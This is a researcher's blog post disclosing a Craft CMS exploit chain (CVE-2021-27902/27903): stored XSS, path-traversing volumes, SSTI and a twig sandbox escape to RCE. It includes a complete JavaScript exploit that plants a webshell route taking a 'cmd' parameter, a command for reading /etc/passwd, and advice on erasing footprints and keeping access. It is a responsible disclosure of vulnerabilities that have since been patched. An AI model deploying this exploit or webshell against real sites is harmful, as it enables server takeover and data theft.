CraftCMS Zero-day Chain: XSS to SSTI triggering RCE

Public Disclosure of CVE-2021-27902 and CVE-2021-27903

CraftCMS Zero-day Chain: XSS to SSTI triggering RCE

Overview

CraftCMS allows users to upload files via its Asset field. But the storage feature known as a volume within Craft CMS can be configured to point to any directory. This ability can be exploited to upload a twig template to the templates directory. By pointing a route to the uploaded malicious twig template, we get a successful Server Side Template Injection. Using filters, we can get out of the twig sandbox and get an Arbitrary Code Execution.

The exploit chain is a result of 3 vulnerabilities ie. Stored Cross Site Scripting, Server Side Template Injection and finally, Arbitrary Code Execution, and 4 bugs ie. Broken Access Control, Unrestricted File Upload, Deserialization of Untrusted Data, and Misconfiguration. The bug resulted in a monetary reward and 2 CVEs, namely, CVE-2021-27902 and CVE-2021-27903. The vulnerabilities have been fixed in 3.6+ and I have taken permission from the Craft CMS team to publicly disclose them. If you are using Craft CMS, you should upgrade to the latest version of Craft CMS and also follow the security standards of Craft CMS. The exploit depends on user interaction So if you are aware of cross-site scripting and follow security measures, you will be fine.

Knowing the Application

Before starting the audit, the first thing I do is understand the application. It starts with installing the application and seeing how it works. In a black box test, we often do not have admin privileges and we cannot see what is behind that authentication wall. But in grey box testing, we can simply log in and see the admin area. So that is step two. Log in and see behind the walls and understand the application.

Finding the first bug - Unrestricted File Upload

As I tinkered with Craft CMS, the first thing I noticed there was an Asset section which allowed you to upload files. Testing it, I started uploading PHP files as many CMSs often have unrestricted file uploads. But no luck. Then I thought maybe I can get XSS via SVG files. Interestingly, the file was uploaded. But the CMS was using enshrined/svg-sanitize a filtration library that is quite good at its job. I tried every possible payload but SVG didn't work. Finally, I decided to look at the code. After auditing where file uploads are being blocked, I found that there is a src/config/GeneralConfig.php file which contains a list of allowed file extensions. I saw that it had HTML files as valid file uploads! And here I was trynna pop an alert from SVG files. I uploaded an HTML file, see its link and it worked! The bug here was an Unrestricted File Upload that resulted in a Cross Site Scripting vulnerability.

Turning Unrestricted File Upload into Vulnerability

But this can be categorized as self-XSS because only privileged users are capable of uploading a file. Remember that Craft is a CMS and its job is to allow people to make a website. So there must be a way to allow file uploads from the front end. I started searching for ways on Google to upload a file from unauthenticated pages. Sooner, I found that there is a functionality to create content, that is entries. With more research on how it works, I found that Craft CMS uses a creative concept of volumes that allows users to upload files to different directories. I configured the volume and started testing uploads. I created upload fields for the entry and tried using them. I was able to create entries and upload HTML files but it was still using the admin account. So I searched more and more and found this plugin called Guest Entries. I installed it and after reading its documentation, I created the following form to upload the files from the front.

//  testpage.twig
{% macro errorList(errors) %}
    {% if errors %}
        <ul class="errors">
            {% for error in errors %}
                <li>{{ error }}</li>
            {% endfor %}
        </ul>
    {% endif %}
{% endmacro %}

{% from _self import errorList %}

<form method="post" accept-charset="UTF-8" enctype="multipart/form-data">
    {{ csrfInput() }}
    <input type="hidden" name="action" value="guest-entries/save">
    <input type="hidden" name="sectionId" value="2">
    <input type="hidden" name="enabled" value="1">
    {{ redirectInput('{uri}') }}

    <label for="title">Title</label>
    <input id="title" type="text" name="title"
        {%- if entry is defined %} value="{{ entry.title }}"{% endif -%}>

    {% if entry is defined %}
        {{ errorList(entry.getErrors('title')) }}
    {% endif %}

    <input type="file" name="fields[asset]">
    <input type="submit" value="Publish">
</form>

and configuring the volume and entries a little, I was able to upload the file from the front end! But how would an attacker know where the file went?

To supplement the bug, I had to create an entries page that showed the link to uploaded files. Note that this is quite common for theme developers to create such forms and show the images/files uploaded from frontend:

// index.twig
<h1>{{entry.title}}</h1>

{% set rel = entry.asset.one() %}
{% if rel %}
    <p><a href="{{ rel.url }}">{{ rel.filename }}</a></p>

By configuring both templates correctly, I was able to upload XSS and get its URL. Payday! But I didn't bother to report it.

Finding the second bug - Broken Access Control

Even after finding the stored XSS, I was still playing around with the CMS as it was quite interesting. While checking the settings, I came across a nice feature called aliases. I was interested in what these aliases can do, I kept on learning about them. From the source code audit, I came to know that this is a part of the Yii2 framework. But what can I do with it? I tried finding the inputs where I could put them and sooner I found out how dumb I was. I have been using these aliases this whole time in the volume configurations. I tried to go one step back with .. to point the volume outside the public directory and tried uploading a file, it worked! This broken access control bug can allow me to write a file anywhere I want!

Finding the third bug - Deserialization of Untrusted Data

I was already hyped after finding this. I rushed to see the directory structure and tried uploading files everywhere I can. The end goal as always was RCE. So I uploaded files in vendor directories and tried overwriting the composer.json but I could not upload any PHP file. So I was stuck. Then I tried to upload twig templates within the twig directory but still, no luck. After getting tired of goofing around with uploading files, it came to my mind that I could also point a route to it. So I uploaded an SVG file and pointed a route to it. No surprise it worked.

Turning Broken Access Control and Deserialization of Untrusted Data into Server-Side Template Injection

So I was able to upload files in the templates directory and load it on the server as well. I ended up putting the famous {{7 * 7}} in the SVG and there it was! An SSTI using a chain of two bugs ie. the aliases shouldn't have allowed uploading to the templates directory and Twig shouldn't be rendering content from non-twig templates. Note that both bugs can only be performed by an admin and no guest user would be able to do it.

Finding the fourth bug - Misconfiguration

After finding the SSTI, we are still within the sandbox of Twig so this is quite a locked-up situation where you can only perform simple text manipulations. I tried every possible payload available for escaping the sandbox but no luck. Then I asked a friend to help me and he gave me the payload {{ ['id']|filter('system') }} which I was trying again and again with no success. But when I copy pasted it just worked. Maybe I was doing a typo. Nonetheless, it worked and now was the time to write the PoC!

PoC || GTFO - Connecting the dots and completing the PoC

With the misconfigured twig engine that didn't implement the sandbox configuration, I was able to remote code execution. Since I already had an XSS, I could simply let the JavaScript do all the manual work on behalf of the admin. So I wrote an exploit in JavaScript that automates all the stuff and uploads a shell when the XSS triggers. All these vulnerabilities have been fixed. Long live the Open Source!

The vulnerability is exploited via XSS. Note that any XSS on the website (even outside of the craftCMS installation itself, as long as it's triggering within the same origin, can lead to the RCE being triggered. The CraftCMS have very little functionality in a fresh installation. All the features and functionalities are developed by the developer using twig templates and plugins. For the demonstration purpose, we will use the Guest Entries plugin and write our templates to build a demo site having an upload functionality.

  1. First, install the Guest Entries plugin.

  2. Now copy the following templates to your templates directory in the CraftCMS installation.

// testpage.twig

{% macro errorList(errors) %}
    {% if errors %}
        <ul class="errors">
            {% for error in errors %}
                <li>{{ error }}</li>
            {% endfor %}
        </ul>
    {% endif %}
{% endmacro %}

{% from _self import errorList %}

<form method="post" accept-charset="UTF-8" enctype="multipart/form-data">
    {{ csrfInput() }}
    <input type="hidden" name="action" value="guest-entries/save">
    <input type="hidden" name="sectionId" value="2">
    <input type="hidden" name="enabled" value="1">
    {{ redirectInput('{uri}') }}

    <label for="title">Title</label>
    <input id="title" type="text" name="title"
        {%- if entry is defined %} value="{{ entry.title }}"{% endif -%}>

    {% if entry is defined %}
        {{ errorList(entry.getErrors('title')) }}
    {% endif %}

    <input type="file" name="fields[asset]">
    <input type="submit" value="Publish">
</form>
// index.twig

<h1>{{entry.title}}</h1>

{% set rel = entry.asset.one() %}
{% if rel %}
    <p><a href="{{ rel.url }}">{{ rel.filename }}</a></p>

After uploading these, you can point routes to these two templates and our demo site is ready.

Crafting the exploit

The exploitation starts with uploading the XSS payload that takes the following steps to upload a twig template via XSS triggered by an admin. Note that all these must be done by XSS payload script on behalf of an admin. It is not possible to exploit some functionalities as a regular user.

  1. Creates a volume that points to @config/../templates

  2. Uploads a malicious twig template within this newly created volume.

  3. Creates a route to the uploaded twig template.

  4. Invalidates cache.

Creating a Volume

CraftCMS uses a concept of volumes as its storage unit. A volume can point to a local directory or some out-of-sphere storage like S3 buckets. To ensure that we can execute code, we create our volume. We point volume to @config/../templates because @config is an alias that points to the config directory that sits outside the publicly accessible directory. We walk the path by appending /../templates to the alias @config and reach the templates directory. When I was testing, I thought it would be easier to upload to the vendor directory and execute the code. But sometimes, vendor's directory does not have write permissions on and we cannot upload PHP files directly.

Uploading Malicious Twig Template to gain SSTI and Code Execution

Uploading a twig or php file is not possible due to security measures in the upload feature of CraftCMS. So we upload files with other file extensions like SVG. There is some SVG sanitization but the code within curly braces survives the SVG/XML Sanitization. Within the malicious twig template, we can use twig template filters to escape the sandbox and gain code execution.

Creating a Route to our Payload

After uploading the twig template, we can point a route to our twig template that resides within the templates directory easily. The twig template does not care about the file extension and happily loads the content from our malicious twig template. The shell now lives at the route you created (In the following PoC, run commands via cmd query parameter ie. example.com/backdoor?cmd=cat%20/etc/passwd). Allowing you to run any PHP code or system commands.

Invalidate Cache

As a last step, invalidating the cache helps in regenerating the twig template's cache. A backdoor route is very shouting and should be removed. As a post-exploitation process, you can clear all the footprints and maintain access by replacing some internal files of CraftCMS or going deep inside the OS.

Exploit

Proof of Concept Video: https://www.youtube.com/watch?v=O9Jy-4awz8A

The following exploit is a quick script that I wrote to report the vulnerability to the developers and it was patched in the newer version of CraftCMS.

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>

    // usage: exploitRCE()

    function exploitRCE(
        adminPanelUrl = '/index.php?p=admin/',
        adminPanelDefaultUrl = '/admin/',
        backdoor = 'backdoor',
        twigTemplateExt = "text/html",
        twigRCEPayload = `<p>{{ ([craft.request.getQuery('cmd')] | filter('system'))[0] }}</p>`,
        twigTemplateName = "template.html"
    ) {

scrapeData = function(featurePath, selector, callback, fallback) {
    $.get(featurePath, function (data) {
        callback($(selector, data));
    }).fail(fallback);
}

exploitCsrf = function(featurePath, callback, fallback) {
    scrapeData(featurePath, "input[name=CRAFT_CSRF_TOKEN]", function(data) {
        callback($(data[0]).val());
    }, fallback);
}

// create a volume
exploitCsrf(adminPanelDefaultUrl + 'settings/assets/volumes/new', function(csrf) {
    payload = "CRAFT_CSRF_TOKEN=" + csrf
    + "&amp;action=volumes%2Fsave-volume"
    + "&amp;redirect=e4acb1794adacc0aa0287b400df7cde18df030328e74447f4bd25d9e360a12a6settings%2Fassets"
    + "&amp;name=maintenance-backups-temporary-directory"
    + "&amp;handle=maintenanceBackupsTemporaryDirectory"
    + "&amp;hasUrls="
    + "&amp;url="
    + "&amp;type=craft%5Cvolumes%5CLocal"
    + "&amp;types%5Bcraft%5Cvolumes%5CLocal%5D%5Bpath%5D=%40config%2F..%2Ftemplates"
    + "&amp;elementPlacements="
    + "&amp;elementPlacements%5BContent%5D%5B%5D=izg2wreKxs"
    + "&amp;elementConfigs%5Bizg2wreKxs%5D=%7B%22type%22%3A%22craft%5C%5Cfieldlayoutelements%5C%5CTitleField%22%2C%22autocomplete%22%3Afalse%2C%22class%22%3Anull%2C%22size%22%3Anull%2C%22name%22%3Anull%2C%22autocorrect%22%3Atrue%2C%22autocapitalize%22%3Atrue%2C%22disabled%22%3Afalse%2C%22readonly%22%3Afalse%2C%22title%22%3Anull%2C%22placeholder%22%3Anull%2C%22step%22%3Anull%2C%22min%22%3Anull%2C%22max%22%3Anull%2C%22requirable%22%3Afalse%2C%22id%22%3Anull%2C%22containerAttributes%22%3A%5B%5D%2C%22inputContainerAttributes%22%3A%5B%5D%2C%22labelAttributes%22%3A%5B%5D%2C%22orientation%22%3Anull%2C%22label%22%3Anull%2C%22instructions%22%3Anull%2C%22tip%22%3Anull%2C%22warning%22%3Anull%2C%22width%22%3A100%7D"

    $.ajax({
        url: adminPanelUrl + 'settings/assets/volumes/new',
        type: 'POST',
        data: payload,
        success: function(data) {
            // volume created successfully, now upload the twig template
exploitCsrf(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', function (csrf) {
scrapeData(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', "#sidebar a[data-volume-handle='maintenanceBackupsTemporaryDirectory']", function (rawData) {
fd = new FormData();
file = new Blob([twigRCEPayload], { name: twigTemplateName, lastModified: new Date().getTime(), webkitRelativePath: "", size: 33, type: twigTemplateExt });
fd.append('assets-upload', file, twigTemplateName);
fd.append('folderId', $(rawData[0]).attr('data-folder-id'));
fd.append('CRAFT_CSRF_TOKEN', csrf);

$.ajax({
url: adminPanelUrl + 'actions/assets/upload',
type: 'post',
processData: false,
contentType: false,
dataType: 'json',
data: fd,
success: function(response){
if(response.suggestedFilename) {
// Conflict in file name
twigTemplateName = response.suggestedFilename;
}
if(response.assetId) {
// payload injected successfully, final step create a backdoor url

// missing CSRF token on this endpoint, but just in case if there is a fix to this CSRF,
exploitCsrf(adminPanelDefaultUrl + 'settings/routes', function (csrf) {
// check if route already exists at given endpoint
scrapeData(adminPanelDefaultUrl + 'settings/routes', '.route', function(rawData) {
$(rawData).each(function(i, el) {
if(backdoor.trim() === $(el).find('.uri-container span.uri').text().trim()) {
// route already exists, creating a random route
backdoor = backdoor + parseInt(Math.random() * 10 ** 13);
}
});

$.ajax({
url: adminPanelUrl + 'actions/routes/save-route',
type: 'post',
headers: {
Accept : "application/json; charset=utf-8",
},
data: "uriParts%5B0%5D="+ encodeURIComponent(backdoor) +"&amp;template="+ twigTemplateName +"&amp;CRAFT_CSRF_TOKEN=" + csrf,
success: function (data) {
if(data.success) {
    // Route create successfully, final step, clear the cache
    exploitCsrf(adminPanelDefaultUrl + 'utilities/clear-caches', function (csrf) {
        // invalidate cache
        $.ajax({
            url: adminPanelUrl + 'utilities/invalidate-tags',
            type: 'post',
            data: 'action=utilities%2Finvalidate-tags&amp;CRAFT_CSRF_TOKEN='+ csrf
                    +'&amp;tags%5B%5D=graphql&amp;tags%5B%5D=template',
            success: function (response) {
                if(response.success) {
                    // Payload injection complete, call backdoor to ping server about its existence
                    $.ajax({
                        url: adminPanelUrl + 'actions/utilities/clear-caches-perform-action',
                        type: 'post',
                        data: 'action=utilities%2Fclear-caches-perform-action'
                            + '&amp;CRAFT_CSRF_TOKEN='+ csrf
                            +'&amp;caches=*',
                        success: function (response) {
                            if(response.success) {
                                // Payload injection complete, call backdoor to ping about its existence
                                $.get(document.location.origin + '/' + backdoor + '?cmd=id', function () {
                                    // successful exploitation, we can now upload a system level backdoor and remove the footprints
                                });}}});}}});
});}}});});})}}});});});}});});}

exploitRCE();
</script>

Did you find this article valuable?

Support eval.blog by becoming a sponsor. Any amount is appreciated!